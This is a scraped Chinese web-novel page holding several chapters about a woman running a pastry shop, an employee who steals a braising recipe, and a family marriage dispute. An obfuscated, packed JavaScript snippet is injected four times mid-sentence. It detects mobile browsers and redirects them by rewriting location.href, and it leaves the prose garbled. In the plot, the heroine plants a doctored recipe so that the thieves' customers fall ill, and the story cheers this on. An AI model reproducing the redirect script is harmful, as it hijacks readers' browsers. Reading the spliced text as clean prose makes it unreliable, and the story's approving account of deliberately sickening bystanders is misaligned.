小孩子频繁更换新的环境不仅学习进度不连贯，还要重新交友、重新融入新集体，容易焦虑，缺乏安全感。 而且淮清河边多的不止是书肆、客栈、茶楼，还有秦楼楚馆。 “为什么？” 去吧好昕不舍，不去吧好昕不服。二者比起来他更想跟着姐姐。 好安：“府城河县城还是有差别，而且你在这里不是还有学业和朋友吗？等姐姐在府城安顿下来，给你找到合适的私塾就立刻给你带过去好不好？” 好昕撅起嘴巴，想着想着双眼微微泛红。 “姐姐每个月都会回来的。”好安握着好昕的手，盯着他的眼睛道：“只要姐姐找到合适的私塾就立刻带你来好不好。” “那要多久才能找到。”好昕吸了吸鼻子。 “做多半年怎么样？” 好安伸出小拇指，道：“姐姐和你拉钩。” 好昕心里是真真地舍不得，可他偏偏明白姐姐的意思，不能大吵大闹。最后眨巴了两下眼睛才伸出小拇指。 好安：“我们盖章。” 好昕心情丧丧的，棉花糖都不能填补他的难受，第一个吃完饭去睡觉了。 既然不是都去，除了好昕，谢宗林也一下有了危机感。 “我肯定要去。”谢宗林底气不足，碎碎念道：“府城人多事杂你肯定需要帮手，而且张大娘他们很多点心都能单独做了……” “你去啊。”好安从碗里抬起头。 “啊，你眼下有点发黑，注意休息。” 说着，谢宗林起身道：“我有点渴，去倒点水。” 好安看着碗里粥：今天粥很厚吗？ ———— 年越来越近，好昕也加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302313|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入干活大军。 他休假，好记可没假，现在正是忙的时候，各家各户走亲访友。好安一口气推出八种不同价位的礼盒。 美其名曰：年终大促。 最便宜的三十文就可以拿下。 一时，好记挤满了人，礼盒根本不够卖，都开始留条预定。 客人多了，服务质量也不能下降，好安召集所有人开会——年终冲刺大会！ 承诺只要销量达标就发双倍工资作为年终奖。 随便一个人，双倍工钱最少一两银子。 所有人都像打了鸡血，恨不得铺子开通宵。 王宁从南边回来了。 坐船回来的，带了一船的辣椒，能勉强维持到五月，第一批辣椒结果。 好安带着好昕年前回去一趟，给村里一些相熟的人家提前拜年。 考虑到孝礼，好安捏着鼻子给好大山家送一条肉。 看好大山盯着肉条不停流口水的模样，应该是好久没吃肉了。好安趁没人的时候，面无表情的把肉扔进院子的泔水桶里，好大山一点都不介意，立马捡了起来拿回屋去。 他真应该庆幸茅房在后院，不然可就不是泔水桶了。 好安和各位东家互送完年礼，离除夕没几日了。 还有一个人要谢——云台寺的觉明。 多亏他给余三妞牵线搭桥。余三妞的伤口已经愈合，只有一条淡淡的疤，比起之前不知好了多少。 正好家里有不少冬笋。好安便用冬笋、冬瓜、豆腐、香菇、黄豆芽……一些素菜炖了一份素佛跳墙，让余二壮和余三妞送了过去。 好记除夕歇业，云台寺斋堂的活比好记提前三天结束。 吴月也提前回来了。 因为她在云台寺干活，好安便按照云台寺的时间给她算。当天给她结完这个月的工钱便让她休假了。 腊月廿八，吴月拎着一袋红薯上门了。 好安：“？怎么不在家休息。” “我来给东家拜年。”吴月拽着衣摆道。 “快进来，外面天寒地冻的。”好安将人请进堂屋，倒了杯热茶。 “云台寺这几个月干的如何？”好安十天半个月去趟云台寺，但几乎都是找余二壮对账，没时间找吴月闲聊。 “挺好的。周婆子和余大哥都很照顾我的。” 说完，吴月双手搓着衣摆，张了几次嘴似乎想要说什么，可话到嘴边又咽了回去。 “烙饼的技术学的如何？” “余大哥说我烙得蛮好的。” 有几次，话就要冲破喉咙讲出来，但都被吴月咬住了。 好安猜到她有事，但是她不说她就不问。 等送吴月到门口，眼看机会就要没了，她才支支吾吾道：“东家，我可以调回来吗？” “我哥现在走路不方便要人照顾，我爹我娘年纪也大了……” 吴月的声音越说越小。 “行。”好安笑着道：“为人子女理解。” “好记明年正月初六恢复营业，你到时候直接来就行。” 吴月没想到好安答应的这么爽快，连忙鞠躬道谢。 好安看着吴月的背影消失在巷口，有些人是陷在泥里拔不出来了。 64. 人胜节 正月初七，人胜节。 相传神在这一天造出了人，因此正月初七被定为人类诞辰。 人胜节有戴人胜的习俗。人胜是一种用彩纸和丝帛制成的人形头饰，又称彩胜，也有的会做成花形。 好安合二为一，用彩纸制成各式各样的花朵然后在花心插一个Q版人形饼干。 又能戴又吃，一推出便大受欢迎。 一位客户还没走出铺子，就和其他往来的客人不小心撞了一下。手里的彩胜没拿稳碰到了托盘框。 “这个脸裂开了！” 好安正要上前，离得更近的周娟先迈一步。 她一边接过客人的彩胜，一边把客人引到人少的地方，确认如实后没有追究是谁撞的谁，反而先致歉。 好安站得远没听清她和客人在说什么，只看见客人从眉头紧锁变得喜笑颜开。 等客人满意的离开了，好安走到收银台看了看账本。 原来是周娟和客人说可以免费替换，实际是自己掏钱给客人买了个新的。 好安以前和她们讲过几种服务时可能遇到的情况，但这种客户付完钱后发生损坏的从没讲过。 周娟能快速做出反应就不简单。 “这笔算铺子的。”好安让谢宗林改掉，然后把周娟单独喊了出来。 “东家上午喊你干什么？”吃完午饭有短暂的休息时间，大伙都围着周娟好奇问道。 周娟：“东家说元宵节要举办活动，让我们大家一起想想，集广……集思广益！” 陈万：“没啦？” 周娟：“还能有什么？” 陈万搓了搓手，道：“没说有什么奖励？” “奖什么奖，年前不是给你发了一大笔嘛。”王秀笑道：“活还没干就发白日梦。” 周娟点头：“只要认真干，东家还能亏了你不成？” 陈万想想也是，说道：“那我得仔细想想了。” 王秀第一个说道：“正月十五云台寺要燃灯敬佛，晚上有灯会！” “可我们不卖灯笼啊。”有人说道。 陈万：“灯会又不是只能卖灯笼。我们卖吃的呀！云台寺又不是走几步路就能到的，到时候肯定有人玩得又累又饿。” “这个确实不错。”周娟点头道：“还有吗？” “有！”陈万迫不及待道：“我们之前举办拉花大赛的那片空地，白天有踩高跷和舞龙舞狮，傍晚有闹鱼，再晚一些还会放烟花。” 周娟：“那里可以摆摊吗？” “当然行。”陈万肯定道：“我去年还看见甜园在那摆摊子，投壶换点心。” 吴月小声道：“两个地方都摆摊子会不会太累？” “赚钱怎么能说累。”陈万尝过甜头，拍了拍胸脯道：“只要东家一声令下，我陈万第一个冲。” “这两个都要和东家汇报。到时候怎么定还是要看东家的意思。”周娟冷静道。 陈万挥了挥手，挑眉道：“以我对东家的了解，她不会放过任何一个赚钱的机会。” “对了，吴月你家就在万和县，你知道还有什么好玩的吗？”有人问道。 大家看向吴月，吴月一下愣住，过了会才道：“我，我不怎么出门，我不知道。” “我有点渴，去喝水。”说完，埋头跑了。 “我是说错话了吗？” 陈万：“你说错什么了？” 王秀皱眉道：“她以前见谁都笑，话也不少。今天怎么了？感觉怪怪的。” “余二壮说她在云台寺挺开朗的，还经常带余三妞玩呢。”陈万挠了挠头，不解。 “她年前回来那天还笑吟吟的，是不是家里出了什么事？” 陈万：“没听说。我奶奶家离她家可近了，没听说她家出什么事。” 另一边，王家。 冬日的阳光透过雕花木窗，洒下一朵朵海棠花影。屋里静静燃烧着银碳，熏得屋子暖暖的。 王篱脱掉大氅，斜靠在榻上，手边的一盏清茶热气袅袅。 她手里拿着一副庚帖，看了许久。 “姑姑。”王宣在门外轻轻换了一声。 王篱放下手中的庚帖，道：“进来吧。” “姑姑唤侄儿有何事？” 今年难得在家过年，许是什么都称心如意，王宣看着精神比刚回来的时候还好。 “先坐。” 王篱的贴身丫鬟给王宣斟茶后便退了出去。 沉默片刻，王篱把刚刚看的庚帖递给王宣。 王宣面无表情的翻开，嘴角微不可查的低了低。 “沈家表妹过完年十八了，你舅舅觉得你们本就是……” 王篱话未说完，便被王宣冷声打断道：“舅舅就这一个女儿，定会为她觅得良人。他家的事我们就不要掺和了。” “什么叫不要掺和，他都把庚帖送过来了，什么意思你不知道？”王篱拉着脸。 要是王宁看见姑姑这副神情早就惴惴不安，但王宣不是王宁。王篱也知道，说话的语气还算柔和。 “如果你俩……” “没有如果。”王宣果断道。 “这是多好的机会。”王篱急道：“你母亲走后，我们两家只剩面上的走动。如今沈家递来庚帖，何尝不是想重修旧好。 你舅舅是平陵同知，外祖父又是吏部侍郎，刚好今年你官职调动，我们家在京城又无人脉，只要你……” “不可能。” 王宣说完后便起身告辞，走到门口时，忽然听王篱说道：“你是不是又喜欢的人了？我听说你最近一有空就朝好记跑。看上好记东家了？” 王宣猛地刹住脚步。 王篱起身冷哼了一声：“那姑娘我找人打听过，克夫克母还克夫。你想都别想！但凡你想，我就能让她在万和县混不下去！” 王宣皱眉闭目，藏在衣袖里的手紧握成拳，等在睁开是又恢复往常模样。 他转身道：“用道听途说来的东西污一个姑娘家的名声不好吧。何况这个人还是二弟和二叔的合作伙伴。污了她的名声不怕带坏王家的名声吗？” 王篱最重王家发展，一听王宣这么说，又看他面无异色便猜测自己是不是说错了。 于是坐下，转柔怀策略道：“既然，既然没有喜欢的人何不试试。你舅舅想让你和沈家表妹见见，万一觉得不错呢。” “绝无可能！” “男未婚女未嫁怎么绝无可能了？” “当初母亲嫁过来，王家供他们吃穿，供他们读书，从未亏待过他们。结果他父子俩功成名就成一段佳话，转头就一脚把王家踹开。”王宣恨道：“等没钱了，又打着王家姻亲的名头，在西边坑蒙拐骗大肆敛财，最后出事父亲用八成家产才平了账的时候他们怎么不见见。祖母时日无多，母亲想探望的时候他们怎么不见见。母亲病重，父亲上门求请御医的时候他们怎么不见见。现在他沈家后继无人了，想见见了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307697|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这一家自私凉薄，我下辈子都不想见！” “这，这当年他们是不对……”掀起旧事，王篱说不出替他们说情的话。 但仕途上的帮助是实打实的。 “侄儿告辞。” 王宣甩过衣袖，果断离开。 屋外，冷风扑面而来，王宣站在风口，深吸了几口气才逐渐冷静下来。 “天还冷，大少爷还是赶紧回院子吧。”身边的小厮说道。 王宣：“不了，我自己一个人出去走走。” 或许是来的太多次了，不知不觉两条腿又走到了好记。 “王公子我们今日出了新品要试试不？” 好安话说完才想起今日新品是彩胜，女子才戴彩胜。 失言。 “试试。”王宣没在意这些，笑道。 好安连忙将人请进铺子里。 没法律条款规定男子不能买彩胜吧。 王宣进来，谢宗林一下警惕起来，眼神跟着他寸步不离。 见王宣选了九个莲花样式的彩胜上楼了，谢宗林立刻喊来周娟帮他临时顶班。 果然，这个男人小心思太多。 只见他把小饼干都拔下来，然后把九朵莲花缠在一起。 他想送花。谢宗林眼神意味不明的拉长，走到一边拿了一块抹布。 彩胜没做叶子，捆在一起显得下面光秃秃的，不好看。王宣便下楼要了张油纸，准备把下面遮住。 趁着王宣下楼的空隙，谢宗林光明长大地走过去，麻溜的把莲花扔进垃圾桶然后擦了把桌子。 至于王宣回来找不到东西管他什么事，他只是个见桌上没人，及时、主动、认真打扫桌子的三好员工。 王宣回来时，饼干还在，花没了。正要询问邻座时，自己的贴身小厮找了过来。 “查到了。” 之前王宣让他差谢宗林，本以为就是附近的住户，没想到查了两天都没没有结果。 “去年好记有场官司，文书上写他是张大郎。但我发现他身边的人并不喊他张大郎，而是喊他小谢或者谢大哥。” “没人喊过他名字吗？”王宣皱眉，察觉出一丝不对劲。 姓一般不会乱喊。 “几乎没有，但是二少爷那边我没去查。” 王宣点头示意，他继续说下去。 “后来我们查遍整个万和县都没找到对得上的人。最后我们在高田县的晒盐厂查出一些信息。有一个盐户姓谢，他孙子叫谢宗林这个人对得上。但是他已经死了，一家都死了。” “死了？什么时候死的？”王宣问到。 “其他人死的早，只有他是去年秋天报的死亡，原因是被海水冲走。” 尸骨无存的死法。 王宣顿了顿问道：“那个张大郎是谁？” “张村的一个傻子，她娘和好东家有些不合。” “谢宗林，不一定是他。盐户，脸上都有墨刑但他没有。”王宣自欺欺人道。 小厮瞄了一眼主子，抿了抿嘴，说道：“在盐厂出生的人，不会上墨刑。” “好了，我知道。”王宣揉了揉太阳穴，“查的时候没留尾巴吧。” 看来，好安是知道谢宗林的身份的。 盐户私逃是死罪，窝藏逃犯也是死罪。 “没有。” “这件事给我烂在肚子里。”王宣停下手，声音中带着寒意，道：“阎王殿前也给我闭紧了。” 65. 梅花糕 结束营业前，铺子里还剩一些点心。好记不卖隔夜产品，所以这些一般都是大伙分了。 “我要这个，上次没吃到。” “那我拿这个。” 大伙有说有笑，只有吴月站在一旁心事重重。 “吴月还没拿呢。”有人小声说道。 吴月虽然算老员工，但很久没来店里，大伙一时把她忘了。 “吴月，你想要哪个？”陈万问道。 陈万奶奶家离吴月家近，他比所有人都先认识吴月。而且他来得迟，不知道吴达来闹过事。 “今天这么忙，她不是发呆就是帮倒忙。要是不习惯呆在云台寺得了，还回来干什么。”王秀撇了撇嘴巴，不情不愿地分了一个。 其他人也匀了一个出来。 “给。” “我不要，你们分了吧。”吴月垂着肩膀，手缩到身后。 “给你就拿着，装什么可怜样。” 吴月：“那今天的打扫都我来吧。” “不用，该分给你的就是你的，该一起做的就一起做。” 晚上，吴月回到家，家里一片寂静。 “娘，我回来。”吴月小声道，声音里满是疲惫。 “呀，把你忘了。”吴月她娘从堂屋出来，说道：“我还以为你在云台寺呢。我们已经吃过饭了，锅里还剩个馒头，我再给你炒个菜？” 桌上残羹冷炙都没了，只有一碟吃了七八天的咸菜。 吴月放下手里的点心，道：“不用这么麻烦，我自己热一下馒头就行了。” “不麻烦。”吴月她娘嘴上这么说，可手完全没去拿菜的意思。从篓子里拿出一个馒头就不管了。 吴月倒了一碗水，见还热着便直接用水泡馒头就着咸菜吃。 “娘今天早上和你说的事考虑的怎么样？找到机会没？”吴月她娘挨着她坐下，眼睛里满是期待。 吴月：“我……东家从来不手写方子。” 吴月她娘眼里闪过失望，随即又道：“你个死脑筋。她不写总得做吧，你看几眼自己记下来不就得了。” “这又不是说看就能看到的。”吴月搪塞道。 吴月她娘猛地拍一下桌子，语气愤怒：“你又不是没长眼，怎么看不到。” 吴月：“我——” “我看你就是不愿意。”吴月她娘抬手就把吴月带回来的点心从桌上扫了下去：“这点小恩小惠就让你不听娘的话了？” “没有。” 吴月也没胃口吃饭了，筷子放下。 “还给你娘摆脸子！”吴月她娘声音提高了几分，把吴达和她爹都引了过来。 “你好好管管你闺女。为了一个外人亲娘都快不认了。”说着赶紧搬来板凳扶着她的好大儿坐下。 “没有。”吴月道：“那是人家的方子，偷不好。” 吴达：“什么偷不偷，你是去学。你在好记都干了四个月，学点手艺怎么了。” 吴月她娘：“你哥说得对。再说好记这么多点心，你就学一两个没什么影响。” 吴月低着头，嘟囔道：“我不是学徒。” “那木坊、绣坊谁家招工最后不都变学徒，你只是提前了一点。”吴月她娘理所当然道。 “好安给你灌了什么迷魂汤？这么护着她？”吴月她爹冷声道：“你把她当回事，她把你当回事了吗？” “是呀。”吴月她娘附和道：“年前隔壁陈奶可说了，陈万上个月一共发了二两多的银子，什么年终奖各种奖。你看看你呢，都在好记干活，怎么就你拿了七八百文。” 说到这事吴月她娘就来气，那个老虔婆一天到晚在巷口说这事。夸他孙子多么多么能干，多么多么受东家赏识。 还有那个好安，不就一臭摆摊的，真把自己当东家了。 说不定这些方子是她使了什么腌臜手段得来的，不然她爹她娘以前怎么不卖？ 吴月沉默不语，年终奖的事情她听说了一点。这件事就像刺一样戳在她心里。 别人都额外发了两倍的工钱，只有她没有。 想着想着，吴月吸了吸鼻子。 “哭什么哭。”吴达腿残了，手还能动，拿起拐棍在吴月背上狠狠敲了一下。 “要不是你，我会这样吗？ 以前我们家过得什么日子，你小时候要什么新衣服、新吃食没给你买。 现在我们家过得什么日子，一块铜板恨不得掰开来花。这不都是你害的吗？ 大冷天，爹娘每天天没亮就要出去干活，晚上回来还要伺候你吃饭。 之前还说什么你撑起这个家，我看都是屁话。你害了我还不够，现在是不是还想害死爹娘？不孝女！” 说着，吴达又想给她一棍，却被她娘拦了下来，道：“你妹就是心思单纯，没主见，太容易把别人放心上了。” 吴达恶狠狠地瞪了吴月一眼：“把外人放心上，把自家人放茅房。” “好啦，你妹妹知道错啦。”吴月她娘，忽然变得慈眉善目，道：“这么晚了，饭还没吃完呢。赶紧再吃点，要是凉了娘再去帮你热一下。” 嘴上这么说，屁股都没挪一下。 “吃饱了。”吴月小声道。 “吃饱了就快去睡吧，明天还要做工呢。”吴月她娘像小时候那样揉了揉她的脑袋。 吴月点点头，起身离开。 走了几步，忽然听见背后幽幽传来一句。 “最近活太多了，我这个腰疼得都睡不着哦。” 吴月的眼泪一下落了下来。 ———— 正月十五，好安根据大伙的意见，兵分两路。 县城里的交给周娟操持，她则去云台寺。 除了灯笼灯谜、点心、投壶……一些小玩意，她还带了梅花模子。 好安：“素夹馍后面不做了。” 余二壮一听，心一惊，以为是自己哪里没做好，连忙就要跪下。 没人规定斋堂不能换点心。 “素夹馍卖这么长时间，该换个口味了。”好安举着梅花模子道：“今年卖梅花糕。” 梅花模子定型、长嘴铜壶灌注面浆、竹片可以刮浆、铜钩最后用来剥离糕体。 好安示范了一锅，余三妞看火候反而比他哥还好。好安不在乎他俩谁先学会，只要做出来就行。 月底，好安去了趟府城，回来时铺子已经定下了。 和淮清河隔着两条路。前院铺子，后院住人，冰窖、水井样样齐全。是有限钞票内的最佳选择了。 铺子定下后就要烦装修。 这次二楼很小，好安准备把楼下柜台做长些。然后窗户拆掉两扇，做成一个带展示柜的窗口。二楼辟成三个有低消的高级雅间。 好安忙的两边跑，恨不得给自己插个竹蜻蜓飞起来，所以她一回来就把周娟提成掌柜。 她没直接提，而是让大家匿名投票。 元宵节的活动举办得很成功，之前吴达来闹事她还特意关了半扇门，还有日常遇到的一些问题周娟都处理的很好，大伙都认可，全票通过。 “周掌柜哦，我们村第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310908|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女掌柜哦~”王秀调侃道：“是不是应该请我们喝杯奶茶。” “沾福气！” 周娟也没想到自己能获得大家的认可，捂着脸小鸡啄米似的点头。 好安不经意的看了吴月一眼，便回后院去了，没过多久谢宗林又来了。 好安递给他一个眼神：吴月过来了？ 谢宗林微不可查的点点头。 好安背对着厨房的门喝了口水，道：“王宁给我写信说他想买肉夹馍的方子。” 谢宗林：“素夹馍在云台寺卖得很好，天天都一抢而空。肉夹馍肯定能卖得更好，不能轻易卖。” “是呢，可是他说他愿意出一百两。”好安生怕躲在墙后的人听不清，着重强调了金额。 “我说一百两太少了。肉夹馍最重要的就是卤方。有了卤方什么不能卤，他方子王记酒楼随便卖卖，素菜一碟至少十文，肉菜更不用说了。得二百两！”谢宗林连连摇头，演得跟真的似的。 “你说得对，他一包香料能卤一大锅，一锅能用好几天，划下来一天都没什么成本。不像那些点心，米、油、糖，没一个便宜的。” “对，那你可得藏好方子。” “我可没敢写下来，但我配了一份藏在灶台后面第四排第六个砖头后面呢。” “那人来人往的被人发现怎么办？” “没事，都是些不常见的香料，他们发现了也不认识。” “你可真，聪，明，啊。” “我们会不会太刻意了？”好安小声说道。 谢宗林：“要是王记酒楼来个人就好了，她保证相信。” 说来也巧，他俩刚说完没多久，王掌柜真带着王宁的信来了。 只不过是他发现了一些没见过的辣椒，问她能不能收。 好安谢宗林对视一眼。 稳了。 王掌柜不知发了什么，但这两人今天看他的眼神格外热情，有点毛毛的。 “能啊。”好安声音忽大忽小：“他既然诚心诚意的发问了，那我写封信和他说说吧。” 王掌柜：？可以，但好像没必要。 老胳膊老腿架不住年轻人动作快。王掌柜正要说话时，好安已经把信塞了过来。 这么快？王掌柜狐疑的翻开。 可以。 两个硕大的字跃然纸上。然后他被恭敬的送出门外。 这两个有必要写下来吗？好像有必要。 中午，好安去看的时候香料已经不见了，下午吴月就请辞。 好安：“契书时间内无缘无故辞工是要赔偿的你知道吗？” 吴月没说话点点头，把准备好的钱放在桌上。 “还有我之前给你们定的匕首呢？”好安问道。 吴月一愣，小声道：“那个被我哥当了。” 好安全当没听见，说道：“这个当初是送给好记员工防身用的，不在好记干了是要还回来的。” 吴月：“我回去问问。” 当天，吴月她爹带着匕首上门了。 “东家，你看看是不是那把。” “是的。”好安站在院门口检查，完全没有让她爹进门的意思。 “吴月这孩子做事也没个条理。东西放哪了也不记得。我让她来好记上班这才几个月她又不想干了。”吴月她爹一脸抱歉的碎碎念道。 好安假笑道：“没事，找到就行。” 她估摸着，这家人今晚要忙起来了。 这不，第二天，店里唯一的县城人陈万骂骂咧咧的上工来了。 66. 投毒 陈万是个憋不住话的，一发现什么了不得的事就跟倒豆子似的停都停不下来。 “我总算知道吴月为什么突然不干了！” 刚开门，店里还没什么客人，陈万急匆匆地跑进铺子里大声说道，一点没有遮掩的意思。 “唰”，所有人都用好奇的眼神看着他。 他清了清嗓子，眼里闪过一丝厌恶。 “她偷了东家肉夹馍的方子，自己在青杨巷口摆摊呢！” 青杨巷在城南，进城的时候会路过，那一块有好多流动摊。 “我们进城的时候没看见她呀。”有人插话道。 “躲起来了呗。”陈万说道：“她刚刚看见我还往她娘身后躲，要不是我认识她爹她娘不然真被她躲了过去！” “她怎么能这样！” “看着挺老实的，没想到手脚不干净，呸。” “手脚不干净是小偷小摸占小便宜，她这是大偷大摸的白眼狼，就应该送去衙门断手断脚！” 说着，王秀撸起袖子：“我要去摊子上当面骂她，让大伙都知道她是个什么货色！” 陈万：“我去。附近不少摊主我都熟，方便打探消息！” 好安刚检查完辣椒回来，出苗率很高，再过一二十天就可以分苗了。 走到城门口时，好安碰上一个常有往来的粮铺掌柜，正带着妻儿在买吃食。 二人寒暄一番，不由聊到吃食。 粮铺掌柜见好安无事发生的模样，忍不住问道：“前面有一家卖肉夹馍的小摊，好老板知道不？” “肉夹馍摊子？”好安皱眉面露不解。 “你不知道这事？”粮铺掌柜反问道。 “没听说。”好安说道：“我今天出城早还真没瞧见。而且我们不卖肉夹馍，你是不是看错了。” 好安嘴上说的轻松，眉头却没放下来。 好记不卖肉夹馍，但云台寺的素夹馍就是她家的，用卤水熬煮可是县里的独一份。 “就在青杨巷口，一早就占了个顶好的位置。” “还有这事！”好安大惊失色道：“你快带我去悄悄。” 去看热闹喽。 “走。”粮铺掌柜和妻子打了个招呼便引着好安过去。 摊子上溢出的香气和云台寺的根本没什么区别，不过是一个有肉一个没肉。能做掌柜的脑子都不笨，一猜便知道发生了什么。 好安焦急道：“还真多亏你提醒。” “我一猜就不是你安排的。”粮铺掌柜顺势说道：“昨有一小娘子打着好记的名义来铺子里买面。我之前确实在好记见过她差点就把面给她了！” “哦？”好安像个捧哏：“没给？” “她连面看都没看就要走，幸亏被我拦下了！” 好记跟粮铺是月结。不明不白多出一笔到时候肯定扯皮，有损两边关系。 “我知道你说的谁了，昨天确实有一个人不干了。谁能知道她……” 说着，好安叹了口气，没继续说下去。 “就前面。”粮铺掌柜已经闻到卤煮的香气。 现在铺子边上围了好多人。 一边高喊：“给我来一个！”一边往里边挤。 好安看不见里面什么情况，但一眼看见了在摊子周围探头探脑的陈万，于是朝他招了招手。 “东家，就是吴月偷了方子，然后他们一家出来卖。”陈万可不顾旁边还有一个外人，声音一点也没收敛：“价格定的和云台寺一样，但是他们家放了肉，存心恶心我们。” 陈万一想到刚来，吴达就阴阳怪气的夸他们家物美价廉，踩好记卖黑价。 好安：“小声点，万一是误会呢。我闻着这味和我们的有点不一样。” 陈万：“能有什么误会，实时摆在这呢。” “不一样吗。”粮铺掌柜嗅了嗅鼻子。 说着，摊子上的人走了一波，露出里面的人来。 “呦，是好东家呀。”吴达面色红润，说着还拽出藏在后面的吴月，道：“不来跟你的前东家大声招呼吗？” 话音一落，周围霎时静了下来。 不少人都知道这卤水和好记什么关系，买到肉夹馍已经迈出几步的人也退了回来。 想看热闹。 好安看着脸快滴出血的吴月没说话。 “好东家要尝尝我们家的手艺吗？”吴月她娘忽然说道：“我请！” 简直贴脸开大！ 周围的围观群众一口肉夹馍一口瓜的吃着。 只有陈万毫不掩饰的翻白眼。 “好啊。”好安欣然答应。 吴月她娘没料到好安能答应，愣了一下便立刻给好安捞了一块肉。 一边切，一边笑着说道：“我们这个肉夹馍还多亏了好东家呢！ 平日里经常给我们吴月做素夹馍吃。 说来也巧，我们吴月其他方面一般般，就是这个嘴灵光。 什么东西吃上几回就猜个八九不离十。这不研究出了肉夹馍！” 吴月她娘在给肉夹馍过明路。 这肉夹馍和好记可以有关系，但决不能让大伙觉得是她们偷来的。 她还想学着好记做一个吴记，从摆摊子到开铺子呢。 “原来是这样。” “就这？我还以为会打起来去见官呢。” “这不算偷方子吧，人家自己吃出来的。” 有人说道。 “他说自己吃出来就真自己吃出来的？” 也有不少人反驳。 “你家这汤她从小喝到大，怎么没喝出方子？就吃出前东家的吃出了方子？” “是呀。但这还是得看前东家怎么说。” …… “您尝尝。”吴月她娘双手奉上。 “尝尝您手艺嘞！”好安笑道。 “这白吉馍铁圈虎背菊花心，捏着也外酥里软，看来在云台寺这几个月学到真东西了。”好安意味深长道。 吴月她娘嘴角动了动，最终还是忍住了。 说着，好安鼻子凑近闻了闻，继续道：“香，真香！闻起来和我的配方有点不一样，比我做的香多了。” 吴月她娘一听顿时见牙不见眼，同时周围泛起窃窃私语。 “这闺女养的好，有用！” “是啊，我要是有这么个闺女多好。” “切，还不是在别人的基础上有的灵感，有本事就自己单独想一个方子。” …… 好安这副模样落在吴月一家眼里就是认怂。 吴月她爹和她娘得意的对视一眼，再看向好安时，眼里明显带了一丝轻蔑。 周围手里拿肉夹馍的都停下嘴，开始闻起来。 “但你这个太香了！闻着有点腻啊。”好安忽然说道。 “好像是哦。” “我一开始就闻着有点腻，还以为是我鼻子出问题了呢。” 一点小事，一旦挑明注意力就会被吸引过来，然后无限放大。 吴月她娘脸色转阴，嘴角不屑的一撇，道：“这就是我们家的特色，更香不好吗？总不能和原来的一模一样，万一你反咬我们一口怎么办？” 吴月她爹立刻赚了她娘一下，笑着道：“这个各人各口味，有人喜欢淡的有人喜欢浓的。您说是吧。” “对。”好安挑眉道。 “就是，我就喜欢吃香的不行吗？你总……”一个脑残粉买了两个，刚吃完一个又吃了一个。 吴家人还没来得及附和，他忽然捂住胸口不动了。 “yue ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315347|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 脑残粉吐了个大的。 四下顿时散开，肉夹馍摊子前腾出一片空地。 好安也赶紧后退一步，她在被偷的方子里放了不少木香。 这东西香气浓郁独特，炖肉时适量放一些能除腥增香，还能帮助消化。 可若是多放一点，就容易恶心呕吐，腹痛腹泻。尤其脾胃不好的，那可是说吐就吐说拉就拉。 好安万万没想到见效这么快，说道：“这肉夹馍不刚吃下怎么都吐了呢？” 好安一句话拉回围观群众关注点。 “都吐的肉夹馍。” “他是不是只吃了肉夹馍？” “难道这肉夹馍有毒！” 一石惊起千层浪。 有毒。 简简单单两个字触动了大家敏感而又脆弱的神经。 “给我们下毒，我看你是不想活了！” 脑残粉还在吐着，肉夹馍吐完了又开始吐酸水。 有些人看着地上的一摊，不禁觉得自己也心口难受。 “快送去医馆！”好安高声道。 吴家“下毒”这事可得坐实了。 “对，找大夫！”吃了肉夹馍的人忙不迭的朝医馆跑去，街道上一下乱成一锅粥。 一个两个三个，吐的人越来越多。 吴月一家慌了，想跑的时候已经跑不掉了，围观的热心群众一边围着，一边把摊子砸了。 陈万：刚刚不还在夸吗？ 他看了看被围着的吴家人，一头的碎肉沫。 满地的肉块也没人去抢，全被踩在脚下拧成泥。 这里精彩，药馆那边想必也很精彩，他一时都不知道该去哪里吃瓜。 “你的还没丢呐。”粮铺掌柜今天算是长见识了，他看了一眼好安，他一点不相信好安什么都不知道！ “还没来的急。”好安说道。 粮铺掌柜看着好安欲言又止，最后还是忍不住竖了个大拇指。 “？和我没关系。”好安才不承认。 